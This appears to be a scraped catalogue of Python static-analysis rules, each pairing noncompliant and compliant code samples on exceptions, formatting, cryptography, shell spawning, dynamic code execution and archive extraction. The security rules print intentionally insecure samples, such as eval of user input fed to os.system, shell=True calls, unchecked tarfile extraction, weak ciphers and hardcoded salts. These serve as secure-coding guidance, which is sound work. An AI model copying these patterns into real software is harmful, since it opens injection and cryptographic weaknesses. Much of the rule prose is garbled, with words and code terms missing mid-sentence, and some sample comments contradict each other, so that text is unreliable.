A bare If the bare "raise" statement is in a This rule raises an issue when a bare Noncompliant Code Exampledef foo(param): result = 0 try: print("foo") except ValueError as e: pass else: if param: raise ValueError() finally: if param: raise # Noncompliant. This will fail in some context. else: result = 1 return result Compliant Solutiondef foo(param): result = 0 try: print("foo") except ValueError as e: pass else: if param: raise ValueError() finally: if not param: result = 1 # the exception will raise automatically return result See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5709 |
In order to avoid catching The As said in Python's documentation, user-defined exceptions are not
supposed to inherit directly from This rule raises an issue when a class derives from one of the following exception classes: Noncompliant Code Exampleclass MyException(BaseException): # Noncompliant pass class MyException(GeneratorExit): # Noncompliant pass class MyException(KeyboardInterrupt): # Noncompliant pass class MyException(SystemExit): # Noncompliant pass Compliant Solutionclass MyException(Exception): pass See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S2836 |
The Noncompliant Code Examplefrom typing import List def search_first_number_without_break(elements: List[str]): for elt in elements: if elt.isnumeric(): return elt else: # Noncompliant. This will be executed every time raise ValueError("List does not contain any number") Compliant Solutionfrom typing import List def search_first_number_with_break(elements: List[str]): for elt in elements: if elt.isnumeric(): break else: raise ValueError("List does not contain any number") return elt or from typing import List def search_first_number_without_else(elements: List[str]): for elt in elements: if elt.isnumeric(): return elt raise ValueError("List does not contain any number") See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:OneStatementPerLine |
For better readability, do not put more than one statement on a single line. Noncompliant Code Exampleif (True): print("hello") Compliant Solutionif (True): print("hello") |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5828 |
The A valid mode:
This rule raises an issue when an invalid "mode" is provided to the Noncompliant Code Example# In python 3 the following fails # In python 2.7.16 on MacOs, "open" will just ignore the "w" flag with open("test.txt", "aw") as f: # Noncompliant pass Compliant Solutionwith open("test.txt", "a") as f: pass See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5707 |
Exception chaining enables users to see if an exception was triggered by another exception (see PEP-3134). Exceptions are chained using either of the following syntax: * * It is also possible to erase a chaining by setting Chaining will fail and raise a Noncompliant Code Exampleclass A: pass try: raise ValueError("orig") except ValueError as e: new_exc = TypeError("new") new_exc.__cause__ = A() # Noncompliant raise new_exc try: raise ValueError("orig") except ValueError as e: raise TypeError("new") from "test" # Noncompliant Compliant Solutiontry: raise ValueError("orig") except ValueError as e: new_exc = TypeError("new") new_exc.__cause__ = None # Ok raise new_exc try: raise ValueError("orig") except ValueError as e: new_exc = TypeError("new") new_exc.__cause__ = e # Ok raise new_exc try: raise ValueError("orig") except ValueError as e: raise TypeError("new") from None # Ok try: raise ValueError("orig") except ValueError as e: raise TypeError("new") from e # Ok See* PEP 3134 – Exception Chaining and Embedded Tracebacks * PEP 409 – Suppressing exception context * PEP 352 - Required Superclass for Exceptions * Python documentation - Built-in Exceptions |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5708 |
In Python 3, attempting to catch in an In order to catch multiple exceptions in an If you are about to create a custom Exception class, note that custom exceptions should inherit from This rule raises an issue when the expression used in an Noncompliant Code Exampleclass CustomException: """An Invalid exception class.""" try: "a string" * 42 except CustomException: # Noncompliant print("exception") except (None, list()): # Noncompliant * 2 print("exception") try: "a string" * 42 except [TypeError, ValueError]: # Noncompliant. Lists are not accepted. print("exception") except {TypeError, ValueError}: # Noncompliant. Sets are not accepted. print("exception") Compliant Solutionclass MyError(Exception): pass try: "a string" * 42 except (MyError, TypeError): print("exception") See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S2275 |
Formatting strings, either with the This rule raises an issue when formatting a string will raise an exception because the input string or arguments are invalid. Rule S3457 covers cases where no exception is raised and the resulting string is simply not formatted properly. Noncompliant Code Exampleprint('Error code %d' % '42') # Noncompliant. Replace this value with a number as %d requires. print('User {1} is not allowed to perform this action'.format('Bob')) # Noncompliant. Replacement field numbering should start at 0. print('User {0} has not been able to access {}'.format('Alice', 'MyFile')) # Noncompliant. Use only manual or only automatic field numbering, don't mix them. print('User {a} has not been able to access {b}'.format(a='Alice')) # Noncompliant. Provide a value for field "b". Compliant Solutionprint('Error code %d' % 42) print('User {0} is not allowed to perform this action'.format('Bob')) print('User {0} has not been able to access {1}'.format('Alice', 'MyFile')) print('User {a} has not been able to access {b}'.format(a='Alice', b='MyFile')) See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1186 |
There are several reasons for a function or a method not to have a body:
Noncompliant Code Exampledef myfunc1(foo="Noncompliant"): pass class MyClass: def mymethod1(self, foo="Noncompliant"): pass Compliant Solutiondef myfunc1(): pass # comment explaining why this function is empty def myfunc2(): raise NotImplementedError() def myfunc3(): """ Docstring explaining why this function is empty. """ class MyClass: def mymethod1(self): pass # comment explaining why this function is empty def mymethod2(self): raise NotImplementedError() def mymethod3(self): """ Docstring explaining why this method is empty. Note that this is not recommended for classes which are meant to be subclassed. """ ExceptionsNo issue will be raised when the empty method is abstract and meant to be overriden in a subclass, i.e. it is decorated with
import abc class MyAbstractClass(abc.ABC): @abc.abstractproperty def myproperty(self): pass @abc.abstractclassmethod def myclassmethod(cls): pass @abc.abstractmethod def mymethod(self): pass @abc.abstractstaticmethod def mystaticmethod(): pass |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1066 |
Merging collapsible Noncompliant Code Exampleif condition1: if condition2: # ... Compliant Solutionif condition1 and condition2: # ... |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5300 |
Sending emails is security-sensitive and can expose an application to a large range of vulnerabilities. Information Exposure Emails often contain sensitive information which might be exposed to an attacker if he can add an arbitrary address to the recipient list. Spamming / Phishing Malicious user can abuse email based feature to send spam or phishing content. Dangerous Content Injection Emails can contain HTML and JavaScript code, thus they can be used for XSS attacks. Email Headers Injection Email fields such as In the past, it has led to the following vulnerabilities: Ask Yourself Whether
You are at risk if you answered yes to any of those questions. Recommended Secure Coding Practices* Use an email library which sanitizes headers (Flask-Mail or django.core.mail). * Use html escape functions to sanitize every piece of data used to in the email body. * Verify application logic to make sure that email base feature can not be abuse to: Send arbitrary email for spamming or fishing Disclose sensitive email content Sensitive Code Examplesmtplib import smtplib def send(from_email, to_email, msg): server = smtplib.SMTP('localhost', 1025) server.sendmail(from_email, to_email, msg) # Sensitive Django from django.core.mail import send_mail def send(subject, msg, from_email, to_email): send_mail(subject, msg, from_email, [to_email]) # Sensitive Flask-Mail from flask import Flask from flask_mail import Mail, Message app = Flask(__name__) def send(subject, msg, from_email, to_email): mail = Mail(app) msg = Message(subject, [to_email], body, sender=from_email) mail.send(msg) # Sensitive{code} See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5542 |
To perform secure cryptography, operation modes and padding scheme are essentials and should be used correctly according to the encryption algorithm:
Noncompliant Code Examplespycryptodome/pycryptodomex library: import os from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.asymmetric import rsa, padding from cryptography.hazmat.primitives import hashes # Example for a symmetric cipher: AES aes = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) # Noncompliant aes = Cipher(algorithms.AES(key), modes.ECB(), backend=default_backend()) # Noncompliant # Example for a asymmetric cipher: RSA ciphertext = public_key.encrypt( message, padding.PKCS1v15() # Noncompliant ) plaintext = private_key.decrypt( ciphertext, padding.PKCS1v15() # Noncompliant ) pydes library: # For DES cipher des = pyDes.des('ChangeIt') # Noncompliant des = pyDes.des('ChangeIt', pyDes.CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=pyDes.PAD_PKCS5) # Noncompliant des = pyDes.des('ChangeIt', pyDes.ECB, "\0\0\0\0\0\0\0\0", pad=None, padmode=pyDes.PAD_PKCS5) # Noncompliant pycrypto library is not maintained and therefore should not be used: # https://pycrypto.readthedocs.io/en/latest/ from Crypto.Cipher import * from Crypto.Random import get_random_bytes from Crypto.Util import Counter from Crypto.PublicKey import RSA # Example for a symmetric cipher: AES AES.new(key, AES.MODE_ECB) # Noncompliant AES.new(key, AES.MODE_CBC, IV=iv) # Noncompliant # Example for a asymmetric cipher: RSA cipher = PKCS1_v1_5.new(key) # Noncompliant Compliant Solutionpycryptodome/pycryptodomex library: from Cryptodome.Cipher import AES from Cryptodome.Random import get_random_bytes from Cryptodome.PublicKey import RSA # AES is the recommended symmetric cipher with GCM mode AES.new(key, AES.MODE_GCM) # Compliant # RSA is the recommended asymmetric cipher with OAEP padding cipher = PKCS1_OAEP.new(key) # Compliant pyca library: import os from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.asymmetric import rsa, padding from cryptography.hazmat.primitives import hashes # AES is the recommended symmetric cipher with GCM mode aes = Cipher(algorithms.AES(key), modes.GCM(iv), backend=default_backend()) # Compliant # RSA is the recommended asymmetric cipher with OAEP padding ciphertext = public_key.encrypt( message, padding.OAEP( # Compliant mgf=padding.MGF1(algorithm=hashes.SHA256()), algorithm=hashes.SHA256(), label=None ) ) plaintext = private_key.decrypt( ciphertext, padding.OAEP( # Compliant mgf=padding.MGF1(algorithm=hashes.SHA256()), algorithm=hashes.SHA256(), label=None ) ) See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5547 |
Strong cipher algorithms are cryptographic systems resistant to cryptanalysis, they are not vulnerable to well-known attacks like brute force attacks for example. A general recommendation is to only use cipher algorithms intensively tested and promoted by the cryptographic community. More specifically for block cipher, it's not recommended to use algorithm with a block size inferior than 128 bits. Noncompliant Code Examplespycryptodomex library: from Crypto.Cipher import DES, DES3, ARC2, ARC4, Blowfish, AES from Crypto.Random import get_random_bytes key = b'-8B key-' DES.new(key, DES.MODE_OFB) # Noncompliant: DES works with 56-bit keys allow attacks via exhaustive search key = DES3.adjust_key_parity(get_random_bytes(24)) cipher = DES3.new(key, DES3.MODE_CFB) # Noncompliant: Triple DES is vulnerable to meet-in-the-middle attack key = b'Sixteen byte key' cipher = ARC2.new(key, ARC2.MODE_CFB) # Noncompliant: RC2 is vulnerable to a related-key attack key = b'Very long and confidential key' cipher = ARC4.new(key) # Noncompliant: vulnerable to several attacks (see https://en.wikipedia.org/wiki/RC4#Security) key = b'An arbitrarily long key' cipher = Blowfish.new(key, Blowfish.MODE_CBC) # Noncompliant: Blowfish use a 64-bit block size makes it vulnerable to birthday attacks pyca library: import os from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend key = os.urandom(16) iv = os.urandom(16) tdes4 = Cipher(algorithms.TripleDES(key), mode=None, backend=default_backend()) # Noncompliant: Triple DES is vulnerable to meet-in-the-middle attack bf3 = Cipher(algorithms.Blowfish(key), mode=None, backend=default_backend()) # Noncompliant: Blowfish use a 64-bit block size makes it vulnerable to birthday attacks rc42 = Cipher(algorithms.ARC4(key), mode=None, backend=default_backend()) # Noncompliant: vulnerable to several attacks (see https://en.wikipedia.org/wiki/RC4#Security) pydes library: import pyDes; des1 = pyDes.des('ChangeIt') # Noncompliant: DES works with 56-bit keys allow attacks via exhaustive search des2 = pyDes.des('ChangeIt', pyDes.CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=pyDes.PAD_PKCS5) # Noncompliant: DES works with 56-bit keys allow attacks via exhaustive search tdes1 = pyDes.triple_des('ChangeItWithYourKey!!!!!') # Noncompliant: Triple DES is vulnerable to meet-in-the-middle attack tdes2 = pyDes.triple_des('ChangeItWithYourKey!!!!!', pyDes.CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=pyDes.PAD_PKCS5) # Noncompliant: Triple DES is vulnerable to meet-in-the-middle attack pycrypto library is not maintained and therefore should not be used: from Crypto.Cipher import * des3 = DES.new('ChangeIt') # Noncompliant: DES works with 56-bit keys allow attacks via exhaustive search tdes3 = DES3.new('ChangeItChangeIt') # Noncompliant: Triple DES is vulnerable to meet-in-the-middle attack bf2 = Blowfish.new('ChangeItWithYourKey', Blowfish.MODE_CBC, 'ChangeIt') # Noncompliant: Blowfish use a 64-bit block size makes it rc21 = ARC2.new('ChangeItWithYourKey', ARC2.MODE_CFB, 'ChangeIt') # Noncompliant: RC2 is vulnerable to a related-key attack rc41 = ARC4.new('ChangeItWithYourKey') # Noncompliant: vulnerable to several attacks (see https://en.wikipedia.org/wiki/RC4#Security) Compliant Solutionpycryptodomex library: from Cryptodome.Cipher import AES key = b'Sixteen byte key' cipher = AES.new(key, AES.MODE_CCM) # Compliant pycryptodome library: from Crypto.Cipher import AES key = b'Sixteen byte key' cipher = AES.new(key, AES.MODE_CCM) # Compliant pyca library: import os from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend key = os.urandom(16) iv = os.urandom(16) aes2 = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) # Compliant Old pycrypto library and not maintained anymore: from Crypto.Cipher import * aes1 = AES.new('This is a key123', AES.MODE_CBC, 'This is an IV456') # Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S2710 |
By convention, the first argument to class methods, i.e. methods decorated with By default this rule accepts This rule raises an issue when the first parameter of a class method is not an accepted name. Noncompliant Code Exampleclass Rectangle(object): @classmethod def area(bob, height, width): #Noncompliant return height * width Compliant Solutionclass Rectangle(object): @classmethod def area(cls, height, width): return height * width See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S3403 |
Operators Noncompliant Code Examplemyint = 1 mystring = "1" value = myint is mystring # Noncompliant. Always False value = myint is not mystring # Noncompliant. Always True |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1862 |
A chain of Therefore, duplicating a condition automatically leads to dead code. Usually, this is due to a copy/paste error. At best, it's simply dead code and at worst, it's a bug that is likely to induce further bugs as the code is maintained, and obviously it could lead to unexpected behavior. Noncompliant Code Exampleif param == 1: openWindow() elif param == 2: closeWindow() elif param == 1: # Noncompliant moveWindowToTheBackground() Compliant Solutionif param == 1: openWindow() elif param == 2: closeWindow() elif param == 3: moveWindowToTheBackground() See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S2159 |
In some cases a comparison with operators
Noncompliant Code Examplefoo = 1 == "1" # Noncompliant. Always False. foo = 1 != "1" # Noncompliant. Always True. class A: pass myvar = A() == 1 # Noncompliant. Always False. myvar = A() != 1 # Noncompliant. Always True. Compliant Solutionfoo = 1 == int("1") foo = str(1) != "1" class Eq: def __eq__(self, other): return True myvar = Eq() == 1 myvar = 1 == Eq() myvar = Eq() != 1 # Ok. "__ne__" calls "__eq__" by default myvar = 1 != Eq() |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5890 |
Type hints can be used to communicate the intended type of a given variable. These are not enforced at runtime and not respecting them might not necessarily lead to runtime errors. It is however confusing and could lead to maintainability issues. Noncompliant Code Exampledef my_function(): my_int: int = "string" # Noncompliant Compliant Solutiondef my_function(): my_str: str = "string" |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1578 |
Shared coding conventions allow teams to collaborate effectively. For that reason, module names should conform to a defined standard. See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1854 |
A dead store happens when a local variable is assigned a value that is not read by any subsequent instruction. Calculating or retrieving a value only to then overwrite it or throw it away, could indicate a serious error in the code. Even if it's not an error, it is at best a waste of resources. Therefore all calculated values should be used. Noncompliant Code Exampledef func(a, b, compute): i = a + b # Noncompliant; calculation result not used before value is overwritten i = compute() # Noncompliant; the value is not used before leaving the function Compliant Solutiondef func(a, b, compute): i = a + b i += compute() return i ExceptionsThis rule ignores initializations to -1, 0, 1, No issue will be raised on unpacked variables. See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S3516 |
When a function is designed to return an invariant value, it may be poor design, but it shouldn't adversely affect the outcome of your program. However, when it happens on all paths through the logic, it is surely a bug. This rule raises an issue when a function contains several return statements that all return the same value. Noncompliant Code Exampledef foo(a): # NonCompliant b = 12 if a == 1: return b return b |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S2823 |
Noncompliant Code Exampleclass MyClass: pass __all__ = [ MyClass # Noncompliant ] Compliant Solutionclass MyClass: pass __all__ = [ "MyClass" ] See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5655 |
The CPython interpreter does not check arguments type when functions are called. However a function can express the type it expects for each
argument in its documentation or by using Type Hints. Calling such a function with an argument
of a different type can easily create a bug. Even if it works right now it can fail later when APIs evolve or when type checks are added (ex: with
This rule raises an issue when a function or method is called with an argument of a different type than the one described in its type annotations. It also checks argument types for builtin functions. Noncompliant Code Exampledef func(var: str): pass func(42) # Noncompliant len(1) # Noncompliant Compliant Solutiondef func(var: str): pass func("42") len("1") See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S3358 |
Just because you can do something, doesn't mean you should, and that's the case with nested conditional expressions. Nesting conditional expressions results in the kind of code that may seem clear as day when you write it, but six months later will leave maintainers (or worse - future you) scratching their heads and cursing. Instead, err on the side of clarity, and use another line to express the nested operation as a separate statement. Noncompliant Code Exampledef get_title(person): return "Mr. " if person.gender == Person.MALE else "Mrs. " if person.is_married() else "Miss " # Noncompliant Compliant Solutiondef get_title(person): if person.gender == Person.MALE: return "Mr. " return "Mrs. " if person.is_married() else "Miss " ExceptionsNo issue is raised on conditional expressions in comprehensions. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S4721 |
Arbitrary OS command injection vulnerabilities are more likely when a shell is spawned rather than a new process, indeed shell meta-chars can be used (when parameters are user-controlled for instance) to inject OS commands. Ask Yourself Whether
There is a risk if you answered yes to this question.
Recommended Secure Coding PracticesUse functions that don't spawn a shell. Sensitive Code ExamplePython 3 subprocess.run(cmd, shell=True) # Sensitive subprocess.Popen(cmd, shell=True) # Sensitive subprocess.call(cmd, shell=True) # Sensitive subprocess.check_call(cmd, shell=True) # Sensitive subprocess.check_output(cmd, shell=True) # Sensitive os.system(cmd) # Sensitive: a shell is always spawn Python 2 cmd = "when a string is passed through these function, a shell is spawn" (_, child_stdout, _) = os.popen2(cmd) # Sensitive (_, child_stdout, _) = os.popen3(cmd) # Sensitive (_, child_stdout) = os.popen4(cmd) # Sensitive (child_stdout, _) = popen2.popen2(cmd) # Sensitive (child_stdout, _, _) = popen2.popen3(cmd) # Sensitive (child_stdout, _) = popen2.popen4(cmd) # Sensitive Compliant SolutionPython 3 # by default shell=False, a shell is not spawn subprocess.run(cmd) # Compliant subprocess.Popen(cmd) # Compliant subprocess.call(cmd) # Compliant subprocess.check_call(cmd) # Compliant subprocess.check_output(cmd) # Compliant # always in a subprocess: os.spawnl(mode, path, *cmd) # Compliant os.spawnle(mode, path, *cmd, env) # Compliant os.spawnlp(mode, file, *cmd) # Compliant os.spawnlpe(mode, file, *cmd, env) # Compliant os.spawnv(mode, path, cmd) # Compliant os.spawnve(mode, path, cmd, env) # Compliant os.spawnvp(mode, file, cmd) # Compliant os.spawnvpe(mode, file, cmd, env) # Compliant (child_stdout) = os.popen(cmd, mode, 1) # Compliant (_, output) = subprocess.getstatusoutput(cmd) # Compliant out = subprocess.getoutput(cmd) # Compliant os.startfile(path) # Compliant os.execl(path, *cmd) # Compliant os.execle(path, *cmd, env) # Compliant os.execlp(file, *cmd) # Compliant os.execlpe(file, *cmd, env) # Compliant os.execv(path, cmd) # Compliant os.execve(path, cmd, env) # Compliant os.execvp(file, cmd) # Compliant os.execvpe(file, cmd, env) # Compliant Python 2 cmdsargs = ("use", "a", "sequence", "to", "directly", "start", "a", "subprocess") (_, child_stdout) = os.popen2(cmdsargs) # Compliant (_, child_stdout, _) = os.popen3(cmdsargs) # Compliant (_, child_stdout) = os.popen4(cmdsargs) # Compliant (child_stdout, _) = popen2.popen2(cmdsargs) # Compliant (child_stdout, _, _) = popen2.popen3(cmdsargs) # Compliant (child_stdout, _) = popen2.popen4(cmdsargs) # Compliant See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S2053 |
In cryptography, "salt" is extra piece of data which is included in a hashing algorithm. It makes dictionary attacks more difficult. Using a cryptographic hash function without an unpredictable salt increases the likelihood that an attacker will be able to successfully guess a hashed value such as a password with a dictionary attack. This rule raises an issue when a hashing function which has been specifically designed for hashing sensitive data, such as pbkdf2, is used with a non-random, reused or too short salt value. It does not raise an issue on base hashing algorithms such as sha1 or md5 as these are often used for other purposes. Recommended Secure Coding Practices
Noncompliant Code Examplehashlib import crypt from hashlib import pbkdf2_hmac hash = pbkdf2_hmac('sha256', password, b'D8VxSmTZt2E2YV454mkqAY5e', 100000) # Noncompliant: salt is hardcoded crypt hash = crypt.crypt(password) # Noncompliant: salt is not provided Compliant Solutionhashlib import crypt from hashlib import pbkdf2_hmac salt = os.urandom(32) hash = pbkdf2_hmac('sha256', password, salt, 100000) # Compliant crypt salt = crypt.mksalt(crypt.METHOD_SHA256) hash = crypt.crypt(password, salt) # Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5042 |
Expanding archive files is security-sensitive. For example, expanding archive files has led in the past to the following vulnerabilities: Applications that expand archive files (zip, tar, jar, war, 7z, ...) should verify the path where the archive's files are expanded and not trust blindly the content of the archive. Archive's files should not be expanded outside of the root directory where the archive is supposed to be expanded. Also, applications should control the size of the expanded data to not be a victim of Zip Bomb attack. Failure to do so could allow an attacker to use a specially crafted archive that holds directory traversal paths (e.g. ../../attacker.sh) or the attacker could overload the file system, processors or memory of the operating system where the archive is expanded making the target OS completely unusable. This rule raises an issue when code handle archives. The goal is to guide security code reviews. Ask Yourself Whether
There is a risk if you answered yes to any of those questions.
Recommended Secure Coding PracticesValidate the full path of the extracted file against the full path of the directory where files are expanded:
Stop extracting the archive if any of its entries has been tainted with a directory traversal path. Define and control the ratio between compressed and uncompress bytes. Define and control the maximum allowed expanded file size. Count the number of file entries extracted from the archive and abort the extraction if their number is greater than a predefined threshold. Sensitive Code Exampleimport tarfile tar = tarfile.open("attachment.tar.gz") # Sensitive tar.extractall() tar.close() See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1481 |
If a local variable is declared but not used, it is dead code and should be removed. Doing so will improve maintainability because developers will not wonder what the variable is used for. Noncompliant Code Exampledef hello(name): message = "Hello " + name # Noncompliant print(name) for i in range(10): foo() Compliant Solutiondef hello(name): message = "Hello " + name print(message) for _ in range(10): foo() Exceptions
for _ in range(10): do_something() username, login, password = auth do_something_else(username, login) |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1523 |
Executing code dynamically is security-sensitive. It has led in the past to the following vulnerabilities: Some APIs enable the execution of dynamic code by providing it as strings at runtime. These APIs might be useful in some very specific meta-programming use-cases. However most of the time their use is frowned upon as they also increase the risk of Injected Code. Such attacks can either run on the server or in the client (exemple: XSS attack) and have a huge impact on an application's security. This rule marks for review each occurrence of such dynamic code execution. This rule does not detect code injections. It only highlights the use of APIs which should be used sparingly and very carefully. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesRegarding the execution of unknown code, the best solution is to not run code provided by an untrusted source. If you really need to do it, run the code in a sandboxed environment. Use jails, firewalls and whatever means your operating system and programming language provide (example: Security Managers in java, iframes and same-origin policy for javascript in a web browser). Do not try to create a blacklist of dangerous code. It is impossible to cover all attacks that way. Avoid using dynamic code APIs whenever possible. Hard-coded code is always safer. Sensitive Code Exampleimport os value = input() command = 'os.system("%s")' % value def evaluate(command, file, mode): eval(command) # Sensitive. eval(command) # Sensitive. Dynamic code def execute(code, file, mode): exec(code) # Sensitive. exec(compile(code, file, mode)) # Sensitive. exec(command) # Sensitive. See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S2734 |
By contract, every Python function returns something, even if it's the The Noncompliant Code Exampleclass MyClass(object): def __init__(self): self.message = 'Hello' return self # Noncompliant Compliant Solutionclass MyClass(object): def __init__(self): self.message = 'Hello' |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5727 |
Checking if a variable or parameter is This rule raises an issue when expressions Noncompliant Code Examplemynone = None result = mynone is None: # Noncompliant. Always True. if mynone == None: # Noncompliant. Always True. pass if mynone is not None: # Noncompliant. Always False. pass if mynone == None: # Noncompliant. Always False. pass myint = 42 result = myint is None: # Noncompliant. Always False. if myint == None: # Noncompliant. Always False. pass if myint is not None: # Noncompliant. Always True. pass if myint == None: # Noncompliant. Always True. pass See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5607 |
Calling an operator in python is equivalent to calling a special method (except for the identity operator It is possible to define how an operator will behave with a custom class by defining the corresponding special method. See python documentation for a complete list of operators and their methods: arithmetic and bitwise operators, comparison operators. For symmetrical binary operators you need to define two methods so that the order of operands doesn't matter, ex: This rule raises an issue when an operator is used on incompatible types. Types are considered incompatible if no built-in operations between those types exist and none of the operands has implemented the corresponding special methods. Noncompliant Code Exampleclass Empty: pass class Add: def __add__(self, other): return 42 1 + 2 1 + "2" # Noncompliant Empty() + 1 # Noncompliant Add() + 1 1 + Add() # Noncompliant Add() + Empty() Empty() + Add() # Noncompliant Compliant Solutionclass Empty: pass class Add: def __add__(self, other): return 42 def __radd__(self, other): return 42 Add() + 1 1 + Add() Add() + Empty() Empty() + Add() See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S2733 |
The Noncompliant Code Exampleclass MyClass: def __enter__(self): pass def __exit__(self, exc_type, exc_val): # Noncompliant pass DeprecatedThis rule is deprecated; use S5722 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S3827 |
Variables, Classes and functions should be defined before they are used, otherwise the code will fail. Noncompliant Code Exampledef noncompliant(): foo() # Noncompliant foo = sum func() # Noncompliant def func(): pass MyClass() # Noncompliant class MyClass: pass Compliant Solutiondef compliant(): foo = sum foo() def func(): pass func() class MyClass: pass MyClass() |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S2737 |
An Such clauses should either be eliminated or populated with the appropriate logic. Noncompliant Code Examplea = {} try: a[5] except KeyError: raise # Noncompliant Compliant Solutiona = {} try: a[5] except KeyError as e: logging.exception('error while accessing the dict') raise e |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S100 |
Sharing some naming conventions is a key point to make it possible for a team to efficiently collaborate. This rule allows to check that all method names match a provided regular expression. Noncompliant Code ExampleWith default provided regular expression: class MyClass: def MyMethod(a,b): ... Compliant Solutionclass MyClass: def my_method(a,b): ... |
